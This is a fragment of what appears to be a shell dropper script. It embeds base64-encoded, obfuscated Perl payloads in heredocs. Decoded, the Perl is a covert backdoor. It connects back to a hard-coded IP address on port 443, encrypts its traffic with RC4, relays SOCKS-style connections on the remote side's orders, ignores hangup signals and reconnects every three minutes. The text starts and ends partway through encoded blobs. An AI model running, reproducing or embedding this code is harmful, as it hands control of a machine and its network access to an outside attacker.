JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_28() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm 